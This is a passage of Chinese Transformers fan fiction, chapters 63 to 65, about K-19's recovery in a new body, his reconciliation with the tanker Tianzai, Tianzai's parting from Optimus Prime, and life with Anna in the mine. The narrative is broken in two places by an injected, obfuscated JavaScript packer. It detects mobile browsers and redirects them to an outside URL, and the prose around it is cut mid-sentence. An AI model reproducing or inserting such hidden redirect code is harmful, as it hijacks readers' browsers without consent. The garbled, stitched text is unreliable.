美琪几乎不敢想他会做出什么样的反应,但如果那个被救下的人是美琪自己的话,她想她会无法接受这样的现实。 她会看着这具曾属于同伴的身体崩溃的。 K-75别开了视线。 天灾转过头来,告诉她他已经为此做好了准备。 “我会告诉他是我做出了这个决定。” 他平静地说。 “如果他要怨恨或者愤怒,那就由我承担。” 在气氛再度陷入凝滞之前,救护车终于推开了医疗室的大门。 “他醒了。” 63.我会和这幅机体一起活下去 K-19的光学系统重新上线时看到的就是这样一副情景。 陷入昏迷前暗不见天日的矿洞消失了,取而代之的是天花板上明目张胆的汽车人标志,看到标志的那一瞬间K-19险些陷入应激状态。 长久以来的霸天虎本能显然不是一朝一夕就能改掉的,更何况他下线前才刚经历过一场来自己方阵营的扑杀。 全新的机体带来了更迅捷的反应速度,手炮以一种非常灵敏的状态响应了依靠本能在运作的处理器的命令。 嗅觉、触觉、听觉……机体的各个系统随着重启的机体上线,和身为矿机时截然不同的感官反馈让还不适应的飞行单位发出了一声痛苦的呻吟。 武器在他的手中混乱地挥舞,有人在这个时候压了上来,控制住了他的动作。 在他挣扎着想要挣脱身上莫名其妙多出来的重量时,渐渐回笼的逻辑模块分析出了更多的东西。 在K-19的意识中,更多的信息被传输进了脑模块。 机体上接着的乱七八糟的管线、耳边的嘈杂、K-75扑过来抱着自己哭得正凶的哀嚎以及……在人群外站在门边的黑色油罐车。 苏醒的量产机的挣扎被压在他身上的K-75和救护车按住,又随着理智的回归而消失了力度。 他粗喘着气花了些时间才驯服了好似陌生的机体。 当他在泪眼婆娑的K-75的注视下恢复了状态时,才彻底意识到自己眼前的魔幻画面并不是他临死前普神给他开的玩笑。 他活下来了,并且此时正身处在汽车人的基地里,身上的重量是趴在他身上哭得正凶的K-75和另外两架量产机,五颜六色的汽车人们则都是一副见了鬼的尴尬表情站在他们身后。 像是被量产们从未在任何人面前暴露过的充沛感情吓蒙了。 K-19拍了拍K-75,头雕却抬起来越过眼前的众人看向了门边远离人群的那辆小油罐车。 天灾抱着肩,看起来一点儿也不想参与进这样的大团圆画面里,面部的表情被恰到好处地掩藏在战术口罩中,就连磁场都紧锁着让人猜不准他现在的心思,然而矿洞中的一幕在K-19的处理器中依然鲜活。 他现在有一种更特别的冲动,想要冲到那架面无表情的油罐车面前,告诉他…… “呜呜呜!你醒了!” “你都不知道你的情况有多凶险!吓死我了!!!” K-75的哀嚎猛地在K-19的音频接收器旁响起,K-19的听觉系统差点儿被自己同伴额外高昂的声音震得当场失灵。 刚刚的心思也被吓得缩了回去,K-19痛苦地捂住了自己崭新出厂的外置音频接收器。 “K-75,你声音太大了。”他呻吟了一声说。 “哦哦!抱歉抱歉,我忘记你……” 救护车眼见着情况变得乱七八糟起来,看了眼K-19的状态,推着慌乱冲进来的机子们又慌乱地退出去。 “好了好了,既然看过没事了就都出去,新的机体需要时间适应和静养,别在这里捣乱,还嫌我不够操心吗!” 机子们抱怨着,但也跟着医官的声音离开了小小的医护室。 “还有你!” 救护车在路过天灾时将绷着脸的油罐车一下子拽了进去。 “你的伤等你解决完了这边的事情我再给你处理,现在,解决你的问题!” “现在的机子……既然是战斗单位就控制好自己的磁场不要在医生做手术的时候蹲在门外干扰医生!” “普莱姆斯……再这样下去我得提前进入退休……” 救护车不顾天灾脸上的脸色,像是完全没注意油罐车身上溢出的情绪一样把门一关,把空间让给了天灾和坐在病床上的K-19。 四目相对,飞行单位的光学镜一眨不眨地盯着他,天灾哼了一声,径直走到病床边的椅子上坐下了,手上还保持着抱胸的动作。 俨然是一个秋后算账的动作而不是互诉衷情的情况。 K-19在内芯也跟着叹了一口气。 “你……”x2 两个人又同时沉默了下去。 K-19的发声器还有些启动延误,夹杂着一些不影响音色的噪点,他轻轻咳嗽了两下,油罐车又冷着脸递给了他一杯萃取能量。 飞行单位看了看天灾毫无波澜的光学镜,又看了看被递到眼前的杯子,像是还没搞清楚情况。 油罐车不情不愿地皱了皱眉,说:“喝了它。” 命令的语气反而让K-19放心了不少,K-19不能说自己完全了解这辆别扭的小油罐车,但这样的行动对于天灾而言显然是一个破冰信号。 飞行单位咽下笑意,轻轻嗯了一声,却没有接过来,反而伸出手抓住了天灾的手腕。 油罐车的机体陡然一僵,而K-19像是完全没察觉到他的呆愣一样,微微探身借着他的手把那杯能量喝了下去。 油罐车很快恢复了正常,微微抬高手腕让飞行单位能摄入得更顺利。 他没逃走。 也没有把手抽回去。 K-19悄悄偷看着天灾的状态,愉悦地想。 直到飞行单位的发声器恢复了正常,天灾才放下了杯子,也就在这时,K-19率先开口道:“我很抱歉。” “……为了什么?” “为了我太轻易放弃求生的机会。” 飞行单位的引擎在轻微地转动,发出战斗单位独特的低频噪音。 他柔声说:“为了我让你和其他人担心。” “不对。” “?” K-19疑惑地歪了歪头。 “为了我不该让大家身处险境?” “不是。” 天灾的声音依旧平静,但K-19就是从他的表现里感受到了一股压抑的愤怒。 他又猜了几种可能,都被油罐车一一否决掉了。 天灾一直封闭的磁场也终于泄露出了情绪,K-19下意识地运作自己的系统去捕捉油罐车掩藏得极深的情绪。 愠怒、焦虑……以及…… 也就在此时,天灾猛地站起打断了他的分析进程。 “你是该抱歉!” 他大吼病床上脸色苍白的飞机,身上一齐爆发出的磁场几乎让K-19新生的处理器产生一阵阵的眩晕。 门外似乎传来了一些骚乱。 K-19下意识蜷缩了一下,油罐车的磁场在造成真实的损伤之前又迅速收敛了回去,而天灾的愤怒没有。 “你是该为了那些向我和其他人道歉,但你最该抱歉的不是这些,你个蠢货!” 他暴躁地来回在救护车狭窄的医疗室乱走,尽管自身的体型在这里十分受限,他依然没停下,如果不是这么做下一秒他就要忍不住给K-19一拳了。 “为了我留在那里?普莱姆斯!我不需要陪伴,在遇见你们之前我自己也过得很好!而且就连噬铁虫都知道该在有暴露风险后立刻转移巢穴!而你们就待在那里等我去找你们!毫无保护的!” “通讯器呢?通讯器是摆设吗?这还是你们给我的!现在你和K-75的联络代码都还在里面存着!你甚至还是通讯列表的第一个!” 他气急败坏地指着自己的天线,整个机子就像一只炸了毛的涡轮狐狸,震得K-19不敢回话。 飞行单位缩了缩脖子。 天灾更来气了。 “更重要的是。”他压抑着怒气说。 “你不该轻视你的生命!” K-19瞪大了光学镜,那辆愤怒的油罐车就站在他身前,那股愤怒中最后的一丝情绪在此刻解析完成。 那是…… 后怕。 在量产飞机的注视中,他看见了掩藏在暴怒之下油罐车握紧的双拳,无法控制的磁场,后压的听觉天线以及……天灾光学镜中显露的担忧和自责。 “你个笨蛋。”他听见了天灾声音中被掩盖的颤抖。 “你该更珍视你的生命。” “那是我唯一没办法挽救的东西。” “如果我真的晚找到你一会儿,你就……” 在天灾的自责加重前,K-19从病床上走了下来,他在天灾面前站定,让他能好好地看清自己如今健全的机体。 “但你找到我了,及时的,你救回了我。” “你做到了,我活下来了,不是吗?” “这才是最重要的,这是现实。” 他抓着天灾的手让他能直接触摸到自己的火种舱,里面的火种正在油罐车的手中跳动,源源不断的暖意从天灾微凉的指尖传递回油罐 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“察觉到了吗。”他说,“你更换了新的机体。” 在K-19问出疑问前,油罐车一股气地将H-45的事情全部托出,随后就不再言语,剩K-19一个机子在原地消化庞大的信息量。 天灾装作不在意的样子,实际上偷偷瞄着K-19的反应。 量产机的处理器不得不花费数秒的时间才能将现实消化,他徒劳地张了张嘴,当他终于发出声音时,天灾的机体明显地绷直了。 作为最了解这辆难搞的小油罐车的机子,K-19只一眼就知道了他在等什么。 他在等K-19的斥责,甚至可能已经做好了K-19怨恨他的打算。 K-19原本的话瞬间便说不出口了,即便那既不是指责也不是怨恨。 他只是凑近天灾的眼前,在绷着脸的小油罐车面前跪下,从下往上窥着他的脸色。 “……干什么。”油罐车推开了飞行单位凑到眼前的面甲。 “我希望在我告诉你——我不会因此对你产生任何负面情绪的时候,你能看见我的光学镜。” 小油罐车面罩下的嘴一下子抿紧了。 K-19看着他的光学镜说,“你还有什么没告诉我的吧。” “比如H-45在作出决定时告诉你的话。” 他冷静地说。 H-45可不是一个在做出这样重大的决定时一言不发的机子,而刚才天灾转述给他的话一定有“偷工减料”。 他知道,这就是天灾会做的。 最终天灾在K-19坚持的目光中败下阵来。 “……他说,这是他做出的决定。” 油罐车撇开了视线,艰难地说,但不管他怎么变换视线的方向,K-19都牢牢霸占着他视线的最中心。 “而你故意隐瞒了这么重要的事情。” “……” 天灾没有反驳。 K-19放开了他,这次真的重重叹了口气。 “有时候我觉得你是在故意激怒我,但你也许对我,对我们都还有着很大的误解。” “天灾,”他正色叫到油罐车的名字,严肃地说:“我是一架经历过战争的机甲,我、我们都是从战场活下来的幸存者,对于死亡,我们远比你所想的更有我们自己的感触。” “我不会指责你或者怨恨你做出这样的选择。” “但如果这是H-45最后的愿望,如果这是作为一架量产的机甲在死亡面前做出的最后的选择,那么我会尊重他的选择,我会理解他为什么会做出这样的选择。” “我不会将之视为理所当然,但我会抱持着这份难以抵消的愧疚和对他的谢意活下去,为了自己,为了H-45,为了生命本身。” “你说的很对,我的确有很多需要抱歉的,但我最大的错误,永远是轻视了生命的重量。” “不会再这样了,”他保证道,“我会和这幅机体,和这个馈赠一起活下去。” 他看着天灾一眨不眨盯着自己的红色目镜想。 也为了让你获得幸福。 64.一切皆好 天灾没有躲开K-19目光灼灼的注视,面罩下的表情紧绷,几乎被飞行单位话语中所蕴含的感情烫伤。 K-19发自肺腑的话语一遍遍地在他的CPU中回荡,最终和他们第一次见面时K-19所告诉他的内容相重叠。 小油罐车在K-19的眼中寻找着任何一丝可能存在的指责与厌恶,但飞行单位的光学镜中只有坦然和真诚。 来自战斗单位的电磁粒子弥漫在空气中,一点点腐蚀着天灾仅剩的坚持。 良久。 为了生存而挣扎的权利吗…… 天灾轻笑一声,矜持地点了点头,将纠缠的情绪乱码压下,算是勉强认可了K-19的回答。 “你最好不要再有下次。”他说,“不然我会让你知道后果。” 被安抚了的小油罐车肉眼可见地放松了下来,他背靠在椅子上,磁场顺服地紧贴在他的机体表面,就连头顶的两根天线都微微转动着,体现着主人难得的好心情。 “嗯,不会再有了,我向你保证。” K-19眼看解决了横亘在两个人面前的危机,也勾起了一抹笑,支撑着自己的传动轴站了起来。 崭新的机体发出低沉的轰鸣。 重新和脑模块建立起联系的机体显然还需要K-19重新校准。 小油罐车等待着他检视结束,室内再度恢复了安静,但K-19却显然还没放过这个话题。 “说到后果。”他将背部的机翼进行了简单的归纳,飞机翅膀扇动,最后一块机体数据也校准完毕。 “你身上的伤……” 天灾打断他,“不过是皮外伤,”他满不在乎地说,“一会儿就自愈好了。” 恢复行动能力的K-19根本不吃他这一套。 “我听见你在进来之前救护车说的话了,你的机体自愈能力根本没管用吧?”K-19一边严肃地说,一边走近想要仔细看看他的伤势情况。 天灾下意识想跑,然而此时坐在椅子里的小油罐车反而被一步步靠近的飞行单位给逼得无路可逃了,他陷在医官柔软的椅子里而K-19就弯着腰站在他面前,如果他站起来,他就先得磕上K-19的头。 油罐车简直坐立不安,而K-19一心只想检查天灾的伤势情况。 此时两个机子都没觉察出两个人的姿势似乎是有些过于暧昧。 地面单位微微后仰,慌乱的目光看左看右就是不敢看K-19注视着他的光学镜,而K-19的一条腿已经顶上了天灾双腿之间的缝隙,其中一只胳膊抵在地面单位的头雕旁,大了一圈的机体刚好将天灾完全笼罩在自己的阴影下。 天灾忽略心头跳慢了一拍的火种频率,还在徒劳地试图让K-19相信自己真的安然无恙,但K-19早已经摸清楚了他爱逞强的性格。 “天灾,把你的手给我看看。” 飞行单位的一只手探上他的身后,将两个人的距离拉的更近。 而小油罐车宁死不从,把那只手甲藏得更靠后了。 “你总得治疗!”K-19有些着急。 “等出去我可以自行处理!”天灾顶了回去,“而且上次的架还没吵完,我还在生气!” “你不能强迫我……” “那是上次!但现在我宣布你失去这次生气的权利!”K-19直接上手抓住了小油罐车的腹部,强行按住了天灾挣扎的反抗。 “什……你不能这么做!”天灾瞪大了光学镜,不敢想K-19怎么敢说出这种话。 “我能!”K-19说,“你可以为了你自己或者任何事情和我生气,但你不能因为我担心你为我而受的伤生气!” “你!你这是……”他回想着安娜给自己科普过的常识,“霸王条款!” 飞行单位此时已经抓住了他的手腕,他哼了一声。 “真可惜,我不是霸王。” ?! 谁是霸王?!而且谁说的是叫霸王的机子了! 两个人的脑回路根本就没有对上,天灾又顾忌着K-19新换的机体不敢用力,眼看着就要陷入焦灼,此时外面的门刷的一声敞开了。 走进来的救护车和压在天灾身上的K-19以及被压在K-19身下的天灾面面相觑。 在救护车身后还能看见兴致勃勃的K-75和另外两架量产机探出来的半个头雕以及明目张胆发出偷笑声的美琪。 “你们!?” 医官凭借惊人的意志没捏碎手里的焊枪,救护车看着眼前的一幕只觉得两眼一黑,总觉得在哪里曾经见过类似的场景。 两台机子和彼此近得超过安全距离的面甲对视一眼,这才注意到两人拉扯之间的姿势有多么不对劲,紧忙松开了手。 “我们只是在……” “我在查看他的伤势。”K-19尽量平静地说。 “对,我在阻止他查看我的伤势。”小油罐车紧跟着说,也不知道此时心里的慌乱到底是因为什么。 不知道翻了个白眼的医官有没有相信他们的说辞,反正当救护车当着K-19的面把小油罐车自己扯开的臂甲放到诊疗台上的时候三个机子都不说话了。 天灾输送自己能量给矿机的操作理所当然地得到了医官严厉的批评,用词之粗鄙可能足以让最坚强的汽车人战士都对其退避三舍,只可惜那些包含着警告和关心的话语一句也没被小油罐车听进脑子里。 “自愈模块运作正常,可能是机体与你身上的人类合金产生了排异反应,导致响应失效。” K-19还被另外三架同伴围着打趣,听到这话,四个量产机纷纷停了话题,扭过头专注地看着他们。 救护车继续说道:“长此以往我担心这会让你机体的排异反应更加强烈,直到最终自愈能力彻底失效。” 救护车皱着眉头:“汽车人基地内还有些赛博坦合金,如果你需要替换的话我可以……” “省了这心吧,医生。”天灾打断他,“你知道我现在还在人类手里,擅自更换机体只会为我换来不必要的关注。” “但你这样下去不是办法。”医官叹了口气。 “不会太久了,”小油罐车随意地看了一眼即将修复完毕的臂甲,冷笑着说道,“他们控制不了我多久了。” “……”医官看着最后一条焊接线完成,感受到天灾话语中的杀意,没有回话。 他不赞同霸天虎以更恶报恶的方法,然而面对人类对天灾所做出的种种恶行,他也说不出劝阻的话来。 最终,救护车捏了捏眉心,说道:“如果你受了伤,你知道该怎么联系我。” 小油罐车嗯了一声,直到治疗结束才再度开口对尽职尽责的救护车道了一声谢。 医官放下手中的设备,在天灾几人要走出去前还是犹豫着拍上了小油罐车的肩膀,“不必道谢,就当是……回礼吧。” “你上次交给我的军方资料和人类逆向工程研究出来的武器设计图帮了我们很大的忙。” “我们知道他们可能在打赛博坦技术的主意,但却不知道他们竟然把算盘打到了擎天柱身上。” “那些武器里掺杂了针对赛博坦人火种的设计,如果放任不管可能会造成更严重的结果。” “你救了我们一命。” “而你如果需要帮忙……” 领袖的声音从外面传来,接上救护车的话,“如果你需要帮忙,我们会去。” K-75喊了半句“议会的……”就被身后的其他两个同伴捂住了嘴。 K-19则察觉到了当擎天柱出现时天灾身上陡然紧绷的磁场,飞行单位竖起翅膀下意识往前一步用微妙的角度拦在了天灾身前,打断了领袖的注视。 擎天柱率先撞上了K-19有些戒备的目光,随即他想起来,在K-19苏醒前的确还没见过自己,现在恐怕在这个量产机子的眼里自己还是他们的敌人。 “我不是你们的敌人。”擎天柱对明显是在护卫天灾的飞行单位柔和地笑了笑。 但早已熟悉领袖作派又被霸天虎的思维控制了多年的量产机依然没挪步。 直到身后的小油罐车压制下原生体代码中对授体的天然亲近感,从K-19身后主动走了出来。 “谢谢你的好意。”油罐车冷淡地说。 “又要拒绝我吗?”领袖的眼神中带着受伤。 擎天柱的声音几乎要让小油罐车好不容易平静下来的心情再混乱起来了,但他还是让自己狠下心,平稳地说道:“那你会帮我杀死人类吗?” “包括机械党、人类的军方,你们的盟友。” 天灾的CPU在他说话间恢复了理智,一种残酷的现实被摆放在了他的眼前。 在擎天柱回应前,他继续说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346118|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “作为领袖,一旦你动手了,人类会认为你代表汽车人和他们开战,为了自保,人类会竭尽所能,而在和霸天虎的战争结束前,你不会做出这样不明智的决定。” 漆黑的原生体带着K-19与其他同伴们站在陆地桥前,人类孩子们和汽车人们注视着他们,K-75熟练地输入了一个坐标,陆地桥在他们身后缓缓展开。 “我现在更了解你了,擎天柱。” “你恪守着汽车人的准条,不可能做出杀害无辜生命的行为。” “你是个真正的领袖,”他向着自己的sire表达自己的敬意,“别让你的手沾上不该沾的血。” “但我和你不同,领袖,我是个不择手段、睚眦必报的机子,为了复仇,我不介意我的手上沾满无辜者的鲜血。” 他微微眯了下光学镜,和汽车人基地内的众人做了个简短的告别。 “这次算我欠你们一次,我会想办法补偿的。” 油罐车转身离开,就在此时,他听见领袖的声音传过来。 “即便如此,我的话也是认真的。” 油罐车的步伐随之一顿。 他听到擎天柱站在所有机子面前对他承诺。 “我是汽车人的领袖,但除此之外,我也是你的sire。” 擎天柱的眼神坚定而执着。 “我不会眼睁睁看着我的creation遭受苦难。” “我会为了保护你而开枪。” “那绝不是一句假话。” 天灾笑了。 在陆地桥关闭的余光中,天灾的声音极轻地传到擎天柱的接收器中。 “那就够了。” “……SIRE.” 随之汽车人基地彻底失去了油罐车的身影。 “这就是一切了?”美琪有些不敢置信,还没想到事态会这么快结束。 隔板和大黄蜂一样叹了口气,自从这辆小油罐车横空出世,好像在地球的一切都开始不由自主地奔着不可控的方向奔驰。 哪怕是阿尔茜也开始对此感觉到难以适应了。 “好吧孩子们,去休息吧,时间不早了。”救护车赶着抱怨的几个孩子去休息,而领袖依然没有回过神。 天灾最后的告别被领袖小心翼翼地保存进了CPU中。 另一边,天灾的心绪也没有表现出来的那么平静。 时至今日,天灾其实依然难以将自己与擎天柱带入到正常的creation与sire的关系之中。 也许他们从一开始就错过了以这样的关系相处的机会,天灾很清楚自己并不具备正常幼生体的功能和成长性,而擎天柱的领袖身份也注定了他造物主的身份要为汽车人的事业退步。 乃至于自从知晓了自己sire的身份,他就再没奢求过擎天柱会为自己动手。 擎天柱,汽车人的领袖,高尚的代名词,将守护所有有感知生命自由的权利挂在嘴边的道德模范。 他怎么敢想让这样的一个机子为了造物的复仇而向碳基生命开火呢? 但领袖那样说了。 他想。 尽管他明知道擎天柱不可能真的对人类动手,但他依然为领袖所表达出的意思而感到一丝窃喜。 擎天柱会为了天灾而向人类开火。 他承认他是他的造物。 并且愿意为之付出努力。 简直像是做梦。 毕竟他早就已经默认了在领袖内心,会将汽车人的利益和自己的准则放在最高点。 但擎天柱依然那么说了。 他强迫自己冷静下来。 他该清楚自己和领袖不会是一路人,天灾的攻击性会让领袖最终失望而归,他们目前这样井水不犯河水的状态也许才是最好的。 他抿紧嘴唇,但也许,仅仅是也许,他可以更相信领袖一些。 只要他注意好分寸,就没有人会为此受伤。 否则他们迟早还会有互相攻击的那一天,至少这样他和领袖都不会因此受到更多的伤害。 但此时此刻,小油罐车依然悄悄哼起了安娜教给他的歌谣。 在他身后,K-75小声询问他们现在该去哪里,更多的量产机围着K-19表达着自己的欣喜。 小油罐车走到他们中间,宣告了一个新消息。 他们要有一个新家了。 65.磨合 “告诉我这是谁干的?” “K-75,是你吗?” 被点到的小飞机扭开了头。 “还是你,D-26?” 另一架小飞机悄悄碾了碾脚底的土。 没有机子承认。 “……好吧,看来我们陷入了僵局。” 矿洞内,安娜·艾佛利挑了挑眉,叉着腰仰头看着自己眼前的两架紫色的飞机。 明明人类的身影在两个赛博坦人面前渺小得不可思议,然而两个机子都没有露出蔑视或者轻视的表现,反而在女孩的目光中都有些瑟缩。 在他们身后的其他小飞机该吃饭的吃饭,该挖矿的挖矿,就是没人转过头来看热闹。 “难道这些前·沙发碎片是自己想不开裂开了吗?”她又说道。 K-75赶紧点头。 安娜见状又装模作样地绕着地上明显被踩扁的家具走了几圈,惋惜地叹了口气。 “我还记得它柔软的触感。” “它甚至是天灾帮我捡回来的第一件家具。” 说着女孩好像就要哭出来了,而她眼前的两架小飞机更加紧张了。 见女孩的情绪好像更加低落,他们急忙地把头雕转过来,赛博坦人的手甲慌乱地在她面前挥舞,试图安慰“哭泣”的女孩。 K-75的愧疚几乎透过身上的磁场表现出来,身上的机翼更是垂了下去。 让这个好心收留了他们的女孩哭泣可不是他们愿意看到的。 “欸,”安娜突然猛地抽了一声鼻子,“如果有人能主动承认错误就好了。” “做错了事也没什么,重要的是能承认自己的错误。” “知错就改才是好孩子呀。” 她一边用手捂住自己的脸,一边透过手指缝隙窥着眼前两架机子的反应。 她说一句,眼前的K-75就抖一下,明显的反应差点儿让女孩绷不住嘴角的笑声。 K-75发出了虚弱的哼哼声,看起来欲言又止,而D-26在不断地用自己的机翼抽K-75的后背。 在他们身后,不少机子在偷笑。 “我不会因为这个讨厌他的。”眼看罪魁祸首就要坦白罪行,安娜又循循善诱地说道。 终于,K-75顶着D-26怨念的目光半跪下来向安娜承认了自己的错误。 矿机被磨掉了涂装的手指小心翼翼地探到“哭泣”的安娜面前,“对不起,”他小声说,“我和D-26说话太投入了,没有注意到脚底。” 女孩抬起了头,好脾气地拍了拍他的爪子。 “嗯嗯,然后呢。” “那下次走路的时候要?”她引导道。 “要注意脚下。”小飞机说。 “没错,好孩子。”小老师煞有其事地点了点头,对K-75的表现表示了认可。 “好啦,等天灾回来我会麻烦他再去看看垃圾场有没有合适的家具的,别太内疚啦,我没生气哦?” 女孩很快恢复了精神,对明显情绪低落的K-75安慰道。 其他同伴的笑声也很快传过来,而D-26气呼呼地锤了K-75一下。 “这是为了你把我拉下水!”他没好气地说,“一开始你就不该试图掩盖你的错误!安娜小姐前几天刚说过这些东西!” “嘿!我适应这些得要些时间!” “可你是管理层的飞机!我只是劳工阶级!我都记住了!” “嘿!曾经!曾经是管理层!而且我是管理层我也不是战斗单位,你知道我脑子一直不怎么好使!” “借口!”D-26说着就要过来扒拉他。 面对同伴K-75显然就没有对安娜那么好的脾气了,他拉着D-26走得离脚底的小人类远了些,七手八脚地和D-26吵架。。 K-19一边联上人类的网络帮安娜搜索着最近的义卖信息,一边看着他们的打闹。 安娜和他对视一眼,都看到了彼此眼中的笑意。 是的,自几天前天灾带着跟在他身后的几十架量产机回到安娜面前时,他们就组成了这样奇怪又和谐的一个家庭。 至今安娜都还记得自己当时的惊讶。 彼时等待了天灾一整天外加半个夜晚的女孩裹得暖暖的正缩在沙发上喝着热茶。 尽管夜已经很深了,但安娜依然强撑着睡意,洞穴的保温能力和逐渐转暖的气候并没有带给她太多不适,孤身一人的女孩心中更多的是对天灾久久未归的担忧。 毕竟那辆小油罐车刚告诉了自己那是一份怎样糟糕的“工作”。 而安娜还没有天真到真的认为那是一件“工作”,但她看得出来天灾不想让自己知晓这件事,所以她会等到自己别扭的家人主动告诉自己。 当然前提是天灾自己没有受伤。 当安娜犹豫着要不要给自己混乱的脑子再沏一杯热咖啡的时候,小油罐车带着心虚的表情从洞口走了进来。 安娜理所当然地先关心了天灾的身体有没有受伤。 而小油罐车显然吞吞吐吐有什么要告诉她。 女孩又理所当然地问了出来。 然后,目瞪口呆的女孩就看见天灾微微侧身露出了跟在他身后的几十双红刷刷的光学镜。 好悬没给女孩吓着。 但安娜自认为还是经历过童话洗礼的成熟人类,所以她很镇定地询问了天灾他是不是去召唤了恶魔想毁灭世界,随后又礼貌地询问了跟在天灾身后最近的那台机子的名字。 毕竟工作嘛,肯利·艾佛利会因为工作暴躁,天灾会想毁灭世界也不是不好理解。 工作嘛,哪有不疯的。 随后已经准备好了和天灾征战世界做个反派的安娜便听见她询问的那台机子告诉她说他叫K-19。 嗯,一个奇怪的编号,但K-19却说那是名字。 更奇怪了。 女孩听K-19替天灾解释了半天才明白这是自家小油罐车又从外面捡人……不是,捡机子回来了。 好吧,安娜非常理解地点了点头,又将心里那个“如何做一个合格的反派助手”的指南悄悄放下了。 毕竟她自己也是被天灾捡回来的一员,自认为已经很熟悉这套流程了,随后在小油罐车如释重负的表情里她看着几十架机子轰轰荡荡地走了进来。 有带着翅膀的,也有带着车轮的,还有完全没办法变形的。 就此只有安娜和天灾两个人的小家变成了安娜、天灾和几十个赛博坦人的大家庭。 非常有意思的是经过几天的相处,安娜毫不意外地发现了这些新家人的常识储存和当初的小油罐车没多少差距。 大部分机子甚至不知道人类也是需要进食和睡觉的,安娜老师在睡醒的第二天清晨有了更多的学生。 安娜没有教他们如何融入人类社会,这就像你不能教一只老虎怎么融入羊群。 但同当时和天灾的磨合阶段一样,安娜挑了一些观念类的知识教给了这些CPU空荡荡的机子。 教学的进程很好,经过几天的磨合安娜基本摸清了大部分机子的性格,但也发现了一些事情。 比如这些新家人在某些方面出人意料地笨拙。 有时候安娜会觉得很奇怪。 新的家人们会走着走着莫名其妙平地摔,然后几个小飞机纠缠在一起谁都站不起来,也会在转身的时候意外撞上同伴的后背然后两个机子一起摔在地上。 但有时候他们又在某些方面过度精通。 比如现在安娜和他们所居住的矿洞。 洞穴的空间因为人员的增加被那些没有机翼也没有车轮的机子扩充了一倍多,还被他们以非常熟练且迅捷的速度帮洞穴的顶部进行了加固,矿洞的保暖性也有了显著的提升。 他们现在居住的地方也比原先更深了一些,而这些都是为了防止被他们口中的“霸天虎”探测到。 不过安娜自然对他们口中的“数据”、“磁场”啦这类词语一知半解,但这不影响安娜将他们看做家人。 只是偶尔,仅仅是偶尔她会微妙地体会到以前母亲看着自己闯祸时候的心情。 比如她眼前被K-75踩碎的沙发和不远处拉扯得“鸡毛乱飞”的两架小飞机。 相比之下,似乎天灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350856|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都变成熟了不少。 虽然也没有夸天灾的意思在啦,安娜实在没办法对一脸茫然的小油罐车说祝贺他已经成功出师,毕竟她没法欺骗自己说一辆大部分时间靠着直觉和数据库行动的油罐车是一个合格的好学生。 昨天晚上安娜和他聊天的时候刚知道小油罐车以前身上的喷漆是从汽修店“免费”做的。 意思就是天灾在还没有付钱的概念的时候,在涂装喷好的那一刻直接在人类一脸懵的表情中扬长而去了。 安娜拿出扫帚扫去了地上一些木头的碎屑,而K-19走过来帮她收拾起了一些更大的沙发碎片。 “谢谢你,K-19。”女孩一边收拾一边说,“帮大忙啦。” “没什么,安娜小姐。”飞行单位蹲下来,“而且的确是K-75先做错了,你和天灾收留了我们,我们应该在日常方面更加注意人类的生活习惯的。” “抱歉给你添了麻烦,以及……再次感谢你能收留我们。”K-19温和地低语。 安娜拍了拍K-19的腿甲,“是天灾收留了我们,我没什么值得你们感谢的。” “在这方面,我和你们是一样的。”安娜调侃地说,“至于K-75?” 她轻哼了一声,“等天灾回来,他就记住教训啦。” “你知道的,自从上次K-75把天灾的底漆划伤了,天灾就一直在找他的麻烦,K-75怕他怕得不行。” “难道不是K-75也乐意和他玩吗?”K-19也打趣地说。 提到那辆小油罐车,一机一人不约而同笑了。 K-19接着说,“但除此之外,安娜小姐,你依然接纳了我们。” “人类……一般对我们比较抵触,考虑到数据库中大部分碳基种族对赛博坦人的态度。” “嗯……你知道,单凭刻板印象判断一个人或者种族也许是一种比较武断的做法。”安娜说。 “但……” “这是我从个人经历中知道的事情。”安娜面色平静地将木屑倒入垃圾桶,“有些人类远比你们更加恶劣。” “……我会将这个计入我的数据库。”飞行单位沉默了一会儿说道。 “好啦,别这么死气沉沉的,”女孩转瞬调整好了心态,“这没什么大不了的,你们现在是我的家人,而家人就是要互相扶持才是家人。” K-19:“真希望某些机子也能记住这些事情。” 两个人又同时怅然地叹了口气。 想来都是想到了某辆别扭的小油罐车。 沙发的碎片不消片刻便全收拾好了,安娜坐在捡来的小板凳上看着K-19将装满了灰尘和垃圾的车后斗交给了出去望风的地面单位。 安娜盯着K-19的背影,又悄悄算了算天灾回来的时间,说道:“话说……” “‘K-19’这个名字,除了代表你们的生产编号,并不能代表你们的名字吧?” K-19愣了一下,转过身,表情有些诧然。 安娜掰扯着手指,尽管这几天她记住了几个较为熟悉的机子的名字,然而大部分量产机的编码对于女孩而言依然是一个巨大的工程。 她想起梵妮曾告诉她的,对茫然的K-19说道: “名字应该是更有指代性,可以代表你们的个性的一个称呼,当然也可以代表你们的追求、人生的信条、理想、特殊的含义……但数字的编码……” 安娜委婉地说:“那并不能算是一个名字吧?” 不久之前在汽车人的基地中似乎也有人这么告诉K-19,然而现在再提起似乎又和当时的心情截然不同。 K-19看着注视着他的安娜,脑子里却下意识想起了天灾的面甲。 “我的意思是,既然你们已经打算重新开始,那嗯……你们有没有兴趣改一个名字?” “更有个人特点的,更加……独特的?” 在他们身后,一些机子聚拢了过来。 